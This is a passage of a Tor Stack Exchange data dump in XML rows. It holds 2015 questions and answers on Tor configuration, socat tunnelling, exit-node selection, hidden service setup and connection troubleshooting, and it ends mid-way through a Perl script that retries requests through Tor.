  <row Id="8810" PostTypeId="1" CreationDate="2015-10-07T08:37:30.033" Score="2" ViewCount="2292" Body="&lt;p&gt;I am trying to get an HTTP request through a private Tor network that I have setup using tunneling with &lt;code&gt;socat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a private Tor network (&lt;code&gt;10.0.0.216/29&lt;/code&gt;) I have relays setup on my servers 218 and 221 through which I am manually creating a circuit (&lt;code&gt;218 -&amp;gt; 221&lt;/code&gt;). I have Apache running on 222 and hope to load the default page through a connected client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take 217 as a client and after creating the circuit, I use the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks4a localhost:9050 10.0.0.222&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works successfully. Then I try to create a bidirectional tunnel using &lt;code&gt;socat&lt;/code&gt; by the following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socat TCP-LISTEN:9000 SOCKS4A:127.0.0.1:10.0.0.222:80,socksport=9050 &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I try to access the same resource using &lt;code&gt;curl -v localhost:9000&lt;/code&gt; but there is no response. The verbose output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Rebuilt URL to: localhost:9000/&#xA;* Hostname was NOT found in DNS cache&#xA;*   Trying 127.0.0.1...&#xA;* Connected to localhost (127.0.0.1) port 9000 (#0)&#xA;&amp;gt; GET / HTTP/1.1&#xA;&amp;gt; User-Agent: curl/7.35.0&#xA;&amp;gt; Host: localhost:9000&#xA;&amp;gt; Accept: */*&#xA;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The connection times out after some time. Here is the clause that continuously is repeated in the &lt;code&gt;info.log&lt;/code&gt; debug log file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 07 13:19:52.000 [info] choose_good_exit_server_general(): Found 1 servers that might support 1/1 pending connections.&#xA;Oct 07 13:19:52.000 [info] choose_good_exit_server_general(): Chose exit server '$&amp;lt;fingerprint of OR221&amp;gt;~OR221 at 10.0.0.221'&#xA;&#xA;Oct 07 13:19:52.000 [info] compute_weighted_bandwidths(): Empty routerlist passed in to consensus weight node selection for rule weight as guard&#xA;Oct 07 13:19:52.000 [info] smartlist_choose_node_by_bandwidth(): Empty routerlist passed in to old node selection for rule weight as guard&#xA;Oct 07 13:19:52.000 [info] router_choose_random_node(): We couldn't find any live, guard routers; falling back to list of all routers.&#xA;Oct 07 13:19:52.000 [info] compute_weighted_bandwidths(): Empty routerlist passed in to consensus weight node selection for rule weight as middle node&#xA;Oct 07 13:19:52.000 [info] smartlist_choose_node_by_bandwidth(): Empty routerlist passed in to old node selection for rule no weighting&#xA;Oct 07 13:19:52.000 [warn] No available nodes when trying to choose node. Failing.&#xA;Oct 07 13:19:52.000 [warn] No available nodes when trying to choose node. Failing.&#xA;&#xA;Oct 07 13:19:52.000 [info] compute_weighted_bandwidths(): Empty routerlist passed in to consensus weight node selection for rule weight as guard&#xA;Oct 07 13:19:52.000 [info] smartlist_choose_node_by_bandwidth(): Empty routerlist passed in to old node selection for rule weight as guard&#xA;Oct 07 13:19:52.000 [info] router_choose_random_node(): We couldn't find any live, guard routers; falling back to list of all routers.&#xA;Oct 07 13:19:52.000 [info] compute_weighted_bandwidths(): Empty routerlist passed in to consensus weight node selection for rule weight as middle node&#xA;Oct 07 13:19:52.000 [info] smartlist_choose_node_by_bandwidth(): Empty routerlist passed in to old node selection for rule no weighting&#xA;Oct 07 13:19:52.000 [warn] No available nodes when trying to choose node. Failing.&#xA;Oct 07 13:19:52.000 [warn] No available nodes when trying to choose node. Failing.&#xA;&#xA;Oct 07 13:19:52.000 [warn] Failed to find node for hop 0 of our path. Discarding this circuit.&#xA;Oct 07 13:19:52.000 [info] onion_populate_cpath(): Generating cpath hop failed.&#xA;Oct 07 13:19:52.000 [info] circuit_get_open_circ_or_launch(): No safe circuit (purpose 5) ready for edge connection; delaying.&#xA;&#xA;Oct 07 13:19:53.000 [notice] Tried for 120 seconds to get a connection to 10.0.0.222:80. Giving up. (waiting for circuit)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I am trying to use &lt;code&gt;socat&lt;/code&gt; as torify and torsocks do not seem to work for connections having a local DNS address resolution.&lt;/p&gt;&#xA;" OwnerUserId="7816" LastActivityDate="2018-10-29T23:00:24.233" Title="Using socat through Tor socks proxy gives no response" Tags="|configuration|socks|private|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8811" PostTypeId="1" CreationDate="2015-10-07T14:20:38.463" Score="1" ViewCount="14" Body="&lt;p&gt;I am using the latest version of the Tor Browser, but I am at a loss on how to configure it for a UK (and other countries, later on) IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, I want to appear that I am in the UK to watch the BBC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things have changed with Tor and I would greatly appreciate some assistance. Thanks and cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like instructions for 5.0.3 (2015) (based on Mozilla Firefox 38.3.0)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short procedure on how to do this would be wonderful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a duplicate. :)&lt;/p&gt;&#xA;" OwnerUserId="9580" LastEditorUserId="9580" LastEditDate="2015-10-08T00:50:16.893" LastActivityDate="2015-10-08T00:50:16.893" Title="How to set Tor for use in the UK and other countries" Tags="|tor-browser-bundle|configuration|identity-change|" AnswerCount="0" CommentCount="3" ClosedDate="2015-10-07T21:31:06.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="8812" PostTypeId="2" ParentId="8778" CreationDate="2015-10-07T17:52:36.987" Score="1" Body="&lt;p&gt;&quot;ps aux | grep torrc from the command line. Use torrc in your grep to weed out any other strings containing &quot;tor&quot;. The user will be the first field in the output&quot; - Richard Horrocks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This command worked but was submitted as a comment. I just wanted to place this into an answer so my question can be considered solved. All credit to Richard Horrocks for helping me solve this.&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-07T17:52:36.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8815" PostTypeId="1" CreationDate="2015-10-10T23:08:30.877" Score="1" ViewCount="105" Body="&lt;p&gt;Sorry I have to be a bit vague here.  Suppose I need to know how to do something completely legal and ethical but have reason to avoid having the question connected to me to the knowledge of persons who may be looking for such questions.  These people do NOT have NSA resources, but they are a lot more capable than a mere Google search.  If I use Tor to create a new SE account with a throwaway address, do I need to NOT have the address on a domain that I own?&lt;/p&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2015-10-15T17:40:02.813" Title="How anonymous is a stack exchange account?" Tags="|anonymity|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8816" PostTypeId="1" AcceptedAnswerId="8818" CreationDate="2015-10-11T07:27:15.340" Score="1" ViewCount="1014" Body="&lt;p&gt;I want to try multiple instances of tor. I tried different datadirectory and pidfile with --DataDirectory and --pidfile but only the first tor instance is listening. I also have different controlport and socksport. When I start the second instance it is closed shortly after I can see it in the list of processes. Here is my command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;START /B tor.exe --RunAsDaemon 1 --DataDirectory Tor1 --ControlPort 9051 --SocksPort 9050 -f Tor1\torrc.1 --pidfile Tor1\tor1.pid&#xA;START /B tor.exe --RunAsDaemon 1 --DataDirectory Tor2 --ControlPort 9052 --SocksPort 9051 -f Tor2\torrc.2 --pidfile Tor2\tor2.pid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8007" LastEditorUserId="8007" LastEditDate="2015-10-11T08:50:45.153" LastActivityDate="2015-10-11T13:36:21.130" Title="Multiple instances of Tor in Windows" Tags="|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8818" PostTypeId="2" ParentId="8816" CreationDate="2015-10-11T13:36:21.130" Score="2" Body="&lt;p&gt;You haven't included the console logs, but I'm suspecting the log for the second instance - the one that's dying - will be outputting an error to say that port 9051 is already in use. The first instance is using it as its ControlPort, so it can't then be used as the second instance's SocksPort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these port options can be included in the respective &lt;code&gt;torrc&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, &lt;code&gt;RunAsDaemon&lt;/code&gt; is a no-op on Windows systems - you need to use the &lt;code&gt;--service&lt;/code&gt; argument instead.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RunAsDaemon 0|1&#xA;             If 1, Tor forks and daemonizes to the background. This option has no effect on&#xA;             Windows; instead you should use the --service command-line option. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-10-11T13:36:21.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8819" PostTypeId="1" CreationDate="2015-10-11T17:50:16.747" Score="3" ViewCount="487" Body="&lt;p&gt;I've observed the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor client establishes reverse connections to random relays and any further hidden service traffic is tunneled trough these connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are no new connections that could be rate limited by a firewall.&lt;/li&gt;&#xA;&lt;li&gt;It is not easy to monitor the connections for malicious traffic, like an unusual large number of requests from&#xA;one of the relays.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As security folks will know, layer 7 attacks are anyway difficult to mitigate but how can it be done in this case? How can you detect a flood originating from one of the relays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other question is, would it hurt the hidden service functionality or anonymity to ban &quot;misbehaving relays&quot;, thus abused circuits temporarily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why isn't there any information about this issue on the web? Am I overlooking something?&lt;/p&gt;&#xA;" OwnerUserId="9609" LastActivityDate="2022-12-29T21:06:07.637" Title="How to mitigate layer 7 attacks on hidden services?" Tags="|onion-services|anonymity|attacks|server-administration|dos|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8820" PostTypeId="2" ParentId="6959" CreationDate="2015-10-11T20:57:01.807" Score="-1" Body="&lt;p&gt;I would use mega.co.nz as it has client side encryption and 50gb free. Also, it does not require any setup, just register  download and install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps: you will be trusting a propietary source, but its kim dotcom :)&lt;/p&gt;&#xA;" OwnerUserId="9612" LastActivityDate="2015-10-11T20:57:01.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8821" PostTypeId="2" ParentId="6959" CreationDate="2015-10-12T13:41:39.257" Score="3" Body="&lt;p&gt;A service which was designed with Tails users in mind, is &lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow&quot;&gt;OnionShare&lt;/a&gt;. The software allows you to select a folder or file within your local harddrive. It generates a &lt;code&gt;.onion&lt;/code&gt; URL which you can share. When the other person enters the URL into the Tor Browser the download starts and after finishing the download OnionShare closes the service. It thus reduces the attack surface. Github has a &lt;a href=&quot;https://github.com/micahflee/onionshare/blob/master/README.md&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt; document which describes the service a bit more in detail. There is also an &lt;a href=&quot;https://github.com/micahflee/onionshare/blob/master/tails/README.md&quot; rel=&quot;nofollow&quot;&gt;instruction of how to run it within Tails&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-10-12T13:41:39.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8822" PostTypeId="1" CreationDate="2015-10-12T15:00:24.680" Score="1" ViewCount="98" Body="&lt;p&gt;hello i have  been installing  whonix getaway, but this always show error when when tor check the network . it shows bug error saying my network is not connected . &#xA;i'm using a broadband to receive internet connection in my local area . i don't know  the procedure to follow on proxi edit for the virtual box . please help me for this &lt;a href=&quot;https://i.stack.imgur.com/BPL5t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPL5t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="9616" LastEditorUserId="88" LastEditDate="2016-10-14T22:59:50.813" LastActivityDate="2016-10-14T22:59:50.813" Title="how to install whonix getway using broadband usb for network connection" Tags="|whonix|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8823" PostTypeId="1" CreationDate="2015-10-13T05:18:39.357" Score="2" ViewCount="6215" Body="&lt;p&gt;I would like to set exit node from within tails by using the command line. I am currently using tails live CD. I tried to do this by saving in torrc but it won't save. I though it might store in RAM, but it does not. I tried command line &lt;code&gt;ExitNodes{US}&lt;/code&gt;. It gave out this &lt;code&gt;bash:ExitNodes{US}: command not found&lt;/code&gt;. Can I do this. If so how? What do I type in terminal? &lt;/p&gt;&#xA;" OwnerUserId="7814" LastEditorUserId="88" LastEditDate="2015-10-13T07:55:11.823" LastActivityDate="2021-03-27T17:09:48.997" Title="How to set my exit node from within tails by using the command line" Tags="|configuration|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8824" PostTypeId="2" ParentId="8823" CreationDate="2015-10-13T08:00:55.790" Score="3" Body="&lt;p&gt;The preferred way should be to put it into your &lt;code&gt;torrc&lt;/code&gt;. You wrote in your question, that you couldn't save the file. Did you maybe edit it as the wrong user? Usually you need superuser rights (&lt;code&gt;sudo&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to pass the option on the command line, you could do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --ExitNodes &quot;{us}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to put &lt;code&gt;{us}&lt;/code&gt; insides quotes, because otherwise your shell will interpret it in a different way. Another way to realise it is to use backslashes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --ExitNodes \{us\}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;echo&lt;/code&gt; to write into your &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo ExitNodes &quot;{us}&quot; | sudo tee -a /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command appends the line &lt;code&gt;ExitNodes {us}&lt;/code&gt; to your &lt;code&gt;torrc.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2015-10-16T08:28:42.597" LastActivityDate="2015-10-16T08:28:42.597" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8826" PostTypeId="1" CreationDate="2015-10-13T17:07:24.033" Score="3" ViewCount="1638" Body="&lt;p&gt;I am trying to use Tor with Windows10 (I know, I know...).&#xA;All seems to go well but I can't connect to any site (&quot;connecting&quot; then back to the welcome page).&#xA;Same thing with the anti-virus and firewall ( G Data) deactivated.&#xA;Same thing with another bridge.&#xA;Same thing using another PC with Vista and another ISP.&#xA;Here is the log ; thank you for heeeelp.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;13/10/2015 17:19:02.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;13/10/2015 17:19:02.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;13/10/2015 17:19:09.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;13/10/2015 17:19:09.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;13/10/2015 17:19:10.300 [WARN] Proxy Client: unable to connect to 169.229.59.75:46328 (&quot;general SOCKS server failure&quot;) &#xA;13/10/2015 17:19:10.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;13/10/2015 17:19:10.400 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;13/10/2015 17:19:11.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;13/10/2015 17:19:11.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;13/10/2015 17:19:11.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;13/10/2015 17:19:11.200 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 1; recommendation warn; host A09D536DD1752D542E1FBB3C9CE4449D51298239 at 83.212.101.3:80) &#xA;13/10/2015 17:19:11.200 [WARN] 2 connections have failed: &#xA;13/10/2015 17:19:11.200 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;13/10/2015 17:19:11.200 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;13/10/2015 17:19:11.700 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9624" LastEditorUserId="88" LastEditDate="2015-10-13T19:47:46.063" LastActivityDate="2023-10-03T00:03:15.380" Title="Tor starts but does not connect" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8827" PostTypeId="1" CreationDate="2015-10-14T03:31:53.023" Score="1" ViewCount="668" Body="&lt;p&gt;I am trying to deploy private tor network in China. This whole private tor network is unconnected with the Tor on the Internet. Due to GFW in China, I can only visit domestic internet via my private tor network. So I bought a VPS server in HongKong and deployed VPN server on this VPS and deployed VPN client on my tor exit node. Considering communication between exit node and Dir server, I am trying to use this script(&lt;a href=&quot;https://github.com/SaberSalv/freedom-routes&quot; rel=&quot;nofollow&quot;&gt;freedom-routes&lt;/a&gt;) to route all oversea network flow to VPN. Domestic network accessing directly. However, although domestic network accessing works fine, I can't still visit oversea internet through my own tor network. The question is how can I configure tor exit node or VPN client to route all oversea network flow to my VPN channel. Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="7884" LastActivityDate="2019-02-09T18:51:12.640" Title="How to use tor exit node and VPN to break through GFW in China?" Tags="|configuration|exit-relays|vpn|censorship|network-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8828" PostTypeId="2" ParentId="7468" CreationDate="2015-10-14T03:48:46.287" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#update-safety&quot; rel=&quot;nofollow noreferrer&quot;&gt;This link&lt;/a&gt; to the Tor Browser design document contains the following description of how the Tor developers have ensured the updates from the updater cannot be tampered with.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;5.4. Update Safety&lt;/p&gt;&#xA;&lt;p&gt;We make use of the Firefox updater in order to provide automatic updates to users. We make use of certificate pinning to ensure that update checks cannot be tampered with, and we sign the individual MAR update files with an offline signing key.&lt;/p&gt;&#xA;&lt;p&gt;The Firefox updater also has code to ensure that it can reliably access the update server to prevent availability attacks, and complains to the user after 48 hours go by without a successful response from the server. Additionally, we use Tor's SOCKS username and password isolation to ensure that every new request to the updater (provided the former got issued more than 10 minutes ago) traverses a separate circuit, to avoid holdback attacks by exit nodes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This document shows the Tor developers have gone to great lengths to ensure the integrity of the updates provided by the updater and we can feel quite safe making use of this feature.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-10-14T04:10:39.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8831" PostTypeId="2" ParentId="8806" CreationDate="2015-10-14T19:49:15.157" Score="0" Body="&lt;p&gt;I don't believe this has anything to do with javascript (or Tor). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies are only sent back to the site that set them. They only know about other sites you visit if the sites 'work together' (are owned by the same party, share data, let each other put iframes in their pages, ... ).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is regardless of whether you use Tor or not. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-14T19:49:15.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8832" PostTypeId="1" AcceptedAnswerId="8848" CreationDate="2015-10-14T23:21:37.673" Score="13" ViewCount="21944" Body="&lt;p&gt;I want to begin to use Tor Browser (on Windows) but before I need to know some issues. I have read Tor's six pillars and one of that is &quot;Don't enable or install browser plugins&quot;. So my doubt is: &lt;em&gt;does it include &quot;normal&quot; add-ons?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &quot;normal&quot; addons I refer to extensions like Diigo Extension, Buffer, Zotero, Color Picker... I need some of them to work and improve my self-management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything I have read is about &lt;strong&gt;plugins&lt;/strong&gt;: VLC, RealPlayer, Flash, Java... But nothing about Firefox Add-ons.&lt;/p&gt;&#xA;" OwnerUserId="9632" LastEditorUserId="12737" LastEditDate="2016-07-21T20:10:10.127" LastActivityDate="2021-01-13T03:15:08.847" Title="Can I install Firefox addons on Tor Browser?" Tags="|windows|firefox|add-on|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8833" PostTypeId="2" ParentId="8826" CreationDate="2015-10-15T06:54:45.257" Score="0" Body="&lt;p&gt;The log you have pasted indicates you set the configuration option DisableNetwork, which is where your problem originates. Unset the option and it should work.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-10-15T06:54:45.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8834" PostTypeId="1" CreationDate="2015-10-15T09:25:13.267" Score="1" ViewCount="769" Body="&lt;p&gt;I know that my traffic is encrypted and Tor scrubs my information on its way to the first node. Only a bad node may get my IP. How about when my data is in transit. Is the IP hidden? Can some one Ping me and hack me if they know my IP address while I am using Tails/Tor (assuming all data goes through Tor)?&lt;/p&gt;&#xA;" OwnerUserId="7814" LastEditorUserId="350" LastEditDate="2015-10-17T16:12:13.363" LastActivityDate="2015-10-17T16:12:22.873" Title="Can some one ping tails/tor" Tags="|tor-browser-bundle|anonymity|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8835" PostTypeId="2" ParentId="8767" CreationDate="2015-10-15T09:31:02.737" Score="0" Body="&lt;p&gt;yes this is normal. tor opens more than one exit nodes so it can connect when needed. Some times it will connect to one web page by two exit nodes. &lt;/p&gt;&#xA;" OwnerUserId="7814" LastActivityDate="2015-10-15T09:31:02.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8837" PostTypeId="2" ParentId="8815" CreationDate="2015-10-15T17:40:02.813" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;.. avoid having the question connected to me ..&lt;br&gt;&#xA;  .. do I need to NOT have the address on a domain that I own?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you can avoid it, then by all means avoid it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether you &lt;strong&gt;need&lt;/strong&gt; to, depends on the capabilities of your adversary, but using the same domain that millions of others use makes you disappear much better than one that only you use &lt;em&gt;and own&lt;/em&gt;.&lt;br&gt;&#xA;(Unless you own yahoo of course :)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-15T17:40:02.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8838" PostTypeId="1" CreationDate="2015-10-15T18:45:37.440" Score="0" ViewCount="49" Body="&lt;p&gt;Let's suppose I want to install Tor Core software on a different server than the server hosting my hidden site's files. In this case, I should substitute the following string with my server's external IP address rather than the default &quot;127.0.0.1&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="350" LastEditDate="2015-10-15T21:00:12.447" LastActivityDate="2015-11-14T21:01:42.827" Title="How should I install Tor and my hidden site's files on different machines?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8839" PostTypeId="2" ParentId="8794" CreationDate="2015-10-15T19:30:18.353" Score="1" Body="&lt;p&gt;P2P applications such as eMule communicate on a different protocol than TOR. This could essentially render your security useless. A proxy of VPN that support torrenting would better suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="9638" LastActivityDate="2015-10-15T19:30:18.353" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8840" PostTypeId="2" ParentId="8838" CreationDate="2015-10-15T20:56:47.627" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;my server's external IP address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is the address where your Tor can reach your web server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if they are on different hosts on the same local network, then it should be the local network address. (like 10.x.x.x or 192.168.x.x)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If they are not on the same local network, and your Tor connects to your web server over the internet, it is probably not a good idea. You effectively become the exit node for this one site. ISPs on both sides can see plain data.) &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-15T20:56:47.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8843" PostTypeId="1" CreationDate="2015-10-16T14:41:29.670" Score="2" ViewCount="263" Body="&lt;p&gt;Recently I have noticed both of my web browsers making connections to Google and Amazon after I shut them and clear cache and cookies. So I just tried this with Tor and found a connection to:&lt;br&gt;&#xA;54.208.95.143&lt;br&gt;&#xA;Amazon Technologies Inc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Tor is set for maximum privacy and with no JavaScript, I am wondering why an outgoing connection is occurring when Tor is closed?&lt;/p&gt;&#xA;" OwnerUserId="9646" LastEditorUserId="9638" LastEditDate="2016-02-19T21:39:46.350" LastActivityDate="2017-01-20T08:36:17.717" Title="Connection to Amazon on shutting browser" Tags="|help|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8844" PostTypeId="1" AcceptedAnswerId="8877" CreationDate="2015-10-16T16:17:06.407" Score="2" ViewCount="1273" Body="&lt;p&gt;I installed &lt;code&gt;tor&lt;/code&gt; on a ubuntu-server with the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I also installed socks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo cpan LWP::Protocol::socks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this i wrote a perl script to read websites using the tor network, which works very well (simplified example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;use strict;&#xA;use LWP::UserAgent;&#xA;my $ua = LWP::UserAgent-&amp;gt;new('agent' =&amp;gt; 'any user agent string'},&#xA;);&#xA;$ua-&amp;gt;proxy([qw/ http https /] =&amp;gt; 'socks://localhost:9050'); # Tor proxy&#xA;$ua-&amp;gt;cookie_jar({});&#xA;my $response = $ua-&amp;gt;get('http://www.example.com/');&#xA;print $response-&amp;gt;content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As said before, this works very well, but there are some servers who block some tor exit nodes. Instead of sending the expected content with http-status &lt;code&gt;200 (ok)&lt;/code&gt; they send the status &lt;code&gt;403 (forbidden)&lt;/code&gt;. But some minutes later the same server sends &lt;code&gt;200 (ok)&lt;/code&gt; together with the expected content, so I'm pretty sure that the problem are exit nodes who's IP addresses are blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that &lt;code&gt;tor&lt;/code&gt; itself changes the route (and so the exit node) as far as I know every 10 minutes. But in the case, that a server sends &lt;code&gt;403&lt;/code&gt; because it has made bad experiences with the concrete exit node that I'm using in this moment, I don't want to wait 10 minutes to get another exit node that hopefully is not blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change my perl script into something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;use strict;&#xA;use LWP::UserAgent;&#xA;my $ua = LWP::UserAgent-&amp;gt;new('agent' =&amp;gt; 'any user agent string'},&#xA;);&#xA;$ua-&amp;gt;proxy([qw/ http https /] =&amp;gt; 'socks://localhost:9050'); # Tor proxy&#xA;$ua-&amp;gt;cookie_jar({});&#xA;&#xA;&#xA;my $code = 403;&#xA;my $content = '';&#xA;while ($code &amp;gt; 399) {&#xA;    my $response = $ua-&amp;gt;get('http://www.example.com/');&#xA;    $code = 